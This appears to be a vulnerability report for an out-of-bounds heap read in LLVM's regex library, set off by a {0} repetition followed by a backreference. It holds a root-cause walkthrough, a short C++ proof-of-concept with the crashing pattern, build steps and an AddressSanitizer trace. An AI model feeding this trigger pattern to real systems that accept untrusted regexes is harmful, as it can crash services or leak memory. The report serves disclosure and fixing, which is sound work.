OOB access in Regex match function when pattern contains {0} repetition
- Dominant language
- LLVM
- Stars
- 40.5k
- Forks
- 18.7k
- PR merge metrics
- PR metrics pending
Description
### Summary
When a regex pattern contains a {0} repetition followed by a backreference (e.g., (aa){0}\1), the compiler drops the captured group's bytecode but doesn't invalidate the pointers to it, causing the backreference to copy corrupted data from out-of-bounds memory.
### Details
**Note**: RCA partially generated by LLM
**1. Compilation Phase - The DROP**
```cpp
// Pattern: (aa){0}a|a?|\1
// When compiling (aa){0}:
case REP(0, 0):
DROP(finish - start); // Removes bytecode for (aa)
break;
```
Problem: DROP() only decrements p->slen (the bytecode length):
```cpp
#define DROP(n) (p->slen -= (n))
```
But it doesn't reset `p->pbegin[1]` and `p->pend[1]` (pointers marking where group #1 was).
**2. Stale Pointers**
After DROP():
`p->slen` = reduced (bytecode shortened)
`p->pbegin[1]` = still points to old position (now beyond valid bytecode)
`p->pend[1]` = still points to old position (now beyond valid bytecode)
**3. Backreference Compilation - The Copy**
```
// When compiling \1:
case BACKREF:
dupl(p, p->pbegin[subno]+1, p->pend[subno]);
```
Problem: dupl() has no bounds checking:
```cpp
static sopno dupl(struct parse *p, sopno start, sopno finish) {
// No check that start/finish < p->slen!
memmove((char *)(p->strip + p->slen),
(char *)(p->strip + start), // Reads from stale position
(size_t)len * sizeof(sop));
}
```
It copies from out-of-bounds memory that may contain:
* Remnants of the dropped group
* New bytecode from subsequent pattern parts
* Mix of both → corrupted instructions
**4. Corrupted Bytecode**
The copied data contains malformed OOR2 (alternation) instructions with invalid forward offsets.
```cpp
// In regengine.inc:1000, during pattern matching:
case OOR2:
// OPND(s) contains corrupted offset from dupl()
s = g->strip[pc + OPND(s)]; // Reads 16 bytes past buffer end
// ASAN detects: heap-buffer-overflow
```
### PoC
```cpp
#include "llvm/Support/Regex.h"
#include "llvm/ADT/SmallVector.h"
#include "llvm/ADT/StringRef.h"
#include
#include
int main() {
llvm::Regex regex("(aa){0}a|a?|\\1");
std::string error;
if (!regex.isValid(error)) {
return 1;
}
llvm::SmallVector matches;
bool result = regex.match("", &matches, &error);
return 0;
}
```
Build instruction
```
# 1. Clone LLVM
git clone --depth 1 https://github.com/llvm/llvm-project.git
cd llvm-project
# 2. Create build directory and configure with ASAN
mkdir build-asan && cd build-asan
cmake -G "Unix Makefiles" \
-DCMAKE_C_COMPILER=clang \
-DCMAKE_CXX_COMPILER=clang++ \
-DCMAKE_BUILD_TYPE=Debug \
-DCMAKE_CXX_FLAGS="-fsanitize=address -fno-omit-frame-pointer -g -O1" \
-DCMAKE_C_FLAGS="-fsanitize=address -fno-omit-frame-pointer -g -O1" \
-DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
-DCMAKE_SHARED_LINKER_FLAGS="-fsanitize=address" \
-DLLVM_ENABLE_PROJECTS="" \
-DLLVM_TARGETS_TO_BUILD="X86" \
-DLLVM_BUILD_TOOLS=OFF \
-DLLVM_BUILD_UTILS=OFF \
-DLLVM_INCLUDE_TESTS=OFF \
-DLLVM_INCLUDE_EXAMPLES=OFF \
-DLLVM_INCLUDE_BENCHMARKS=OFF \
../llvm
# 3. Build only the libraries we need
make -j$(nproc) LLVMSupport LLVMDemangle
# 4. Compile the POC
cd ../..
clang++ -std=c++17 -g -O1 -fsanitize=address -fno-omit-frame-pointer \
-I./llvm-project/llvm/include \
-I./llvm-project/build-asan/include \
poc_llvm_regex.cpp \
./llvm-project/build-asan/lib/libLLVMSupport.a \
./llvm-project/build-asan/lib/libLLVMDemangle.a \
-lpthread -lz -lm -ldl \
-o poc_llvm_regex
# 5. Run the PoC
./poc_llvm_regex
```
ASAN crash
```
==2074624==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7bfd126200e8 at pc 0x000000532f13 bp 0x7ffe1cb8de70 sp 0x7ffe1cb8de68
READ of size 8 at 0x7bfd126200e8 thread T0
#0 0x000000532f12 in sstep /home/xxx/workspace/llvm_poc/llvm-project/llvm/lib/Support/regengine.inc:1000:7
#1 0x00000052f217 in sfast /home/xxx/workspace/llvm_poc/llvm-project/llvm/lib/Support/regengine.inc:740:7
#2 0x00000052f217 in smatcher /home/xxx/workspace/llvm_poc/llvm-project/llvm/lib/Support/regengine.inc:188:10
#3 0x00000052f217 in llvm_regexec /home/xxx/workspace/llvm_poc/llvm-project/llvm/lib/Support/regexec.c:159:10
#4 0x0000005014f2 in llvm::Regex::match(llvm::StringRef, llvm::SmallVectorImpl*, std::__cxx11::basic_string, std::allocator>*) const /home/xxx/workspace/llvm_poc/llvm-project/llvm/lib/Support/Regex.cpp:105:12
#5 0x0000004ffb95 in main /home/xxx/workspace/llvm_poc/poc_llvm_regex.cpp:42:23
#6 0x7f1d1362a60f in __libc_start_call_main (/lib64/libc.so.6+0x2a60f) (BuildId: 4dbf824d0f6afd9b2faee4787d89a39921c0a65e)
#7 0x7f1d1362a6bf in __libc_start_main@GLIBC_2.2.5 (/lib64/libc.so.6+0x2a6bf) (BuildId: 4dbf824d0f6afd9b2faee4787d89a39921c0a65e)
#8 0x000000412634 in _start (/home/xxx/workspace/llvm_poc/poc_llvm_regex+0x412634) (BuildId: 5f7f603b00102ac5d51ef48ab1b8e955797f0c76)
```
Contributor guide
Assessment
This issue has not been assessed yet.